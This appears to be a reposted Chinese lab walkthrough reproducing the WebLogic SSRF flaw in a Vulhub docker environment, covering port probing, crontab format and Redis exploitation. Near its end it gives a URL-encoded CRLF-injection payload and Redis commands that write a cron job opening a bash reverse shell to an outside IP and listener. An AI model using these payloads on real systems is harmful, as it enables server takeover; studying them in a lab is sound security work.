• 首页
        • 更多产品

          客户为中心的产品管理工具

          专业的软件研发项目管理工具

          简单易用的团队知识库管理

          可量化的研发效能度量工具

          测试用例维护与计划执行

          以团队为中心的协作沟通

          研发工作流自动化工具

          账号认证与安全管理工具

          Why PingCode
          为什么选择 PingCode ?

          6000+企业信赖之选,为研发团队降本增效

        • 行业解决方案
          先进制造(即将上线)
        • 解决方案1
        • 解决方案2
  • Jira替代方案
目录

Weblogic-SSRF漏洞复现

搭建环境

用docker来模拟漏洞环境

docker github地址:https://github.com/vulhub/vulhub

创建docker容器

进入 /vulhub/weblogic/ssrf目录->docker run 起容器

git clone https://github.com/vulhub/vulhub.git          #下载
cd /vulhub/weblogic/ssrf								#进入目录	
docker-compose up -d									#创建容器	
docker ps												#查看容器

探测攻击

java -Xmx2g -jar burpsuite_free.jar

打开burpsuit抓包(也可以在物理机中进行抓包,配置一下路由器的代理就行)


就是这里可以进行端口探测,这里的参数operator我们是可控的。

当我们输入不同值时可得到多种不同的报错:

  • 端口存在返回状态码 returned a 404 error code

  • 端口不存在 but could not connect over HTTP to server

  • 非http协议: did not have a valid SOAP content-type

  • 协议没写 no protocol

几种情况:

  • 情况一:operator=172.20.0.2

表示没有此协议,因为一般都会加上http什么的而这里没有当然会这样报错。

  • 情况二: operator=htt://172.20.0.2

表示没有此协议,说明写错了

  • 情况三:operator=http://172.20.0.2:7001


这是端口不存在

  • 情况四: operator=http://192.168.233.139:7001

表示端口存在,这里的ip呢是我虚拟机的ip。

  • 情况五:operator=http://172.20.0.2:6379

表示这是非http协议。

有这个可以由此得到docker环境中地址172.20.0.1在端口运行redis服务

reids的默认端口是6379,这样似乎就可以进行攻击了。

crontab文件

探测到内网服务后如何利用呢,这里不得不介绍一下crontab文件

Linux系统的实际使用中,可能会经常碰到让系统在某个特定时间执行某些任务的情况,比如定时采集服务器的状态信息、负载状况;定时执行某些任务/脚本来对远端进行数据采集等。

Linux下的任务调度分为两类:系统任务调度和用户任务调度。Linux系统任务是由 cron (crond) 这个系统服务来控制的,这个系统服务是默认启动的。用户自己设置的计划任务则使用crontab 命令。在CentOS系统中,

cat /etc/crontab

可以看到crontab的配置文件

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

前四行是用来配置crond任务运行的环境变量:

  1. 名列前茅行SHELL变量指定了系统要使用哪个shell,这里是bash;

  2. 第二行PATH变量指定了系统执行命令的路径;

  3. 第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户;

  4. 第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。

用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab 文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致。

文件内容详解

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
minute hour day month week command

在以上各个字段中,还可以使用以下特殊字符:

“*”代表所有的取值范围内的数字,如月份字段为*,则表示1到12个月;

“/”代表每一定时间间隔的意思,如分钟字段为*/10,表示每10分钟执行1次。

“-“代表从某个区间范围,是闭区间。如“2-5”表示“2,3,4,5”,小时字段中0-23/2表示在0~23点范围内每2个小时执行一次。

“,”分散的数字(不一定连续),如1,2,3,4,7,9。

注:由于各个地方每周名列前茅天不一样,因此Sunday=0(名列前茅天)或Sunday=7(最后1天)。

payload:test%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20i%20%3E%26%20%2Fdev%2Ftcp%2F123.56.179.173%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.233.139/1234 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

burpsuit写入命令payload,vps监听

vps接受到反弹的shell。

文章来自:https://www.freebuf.com/

相关文章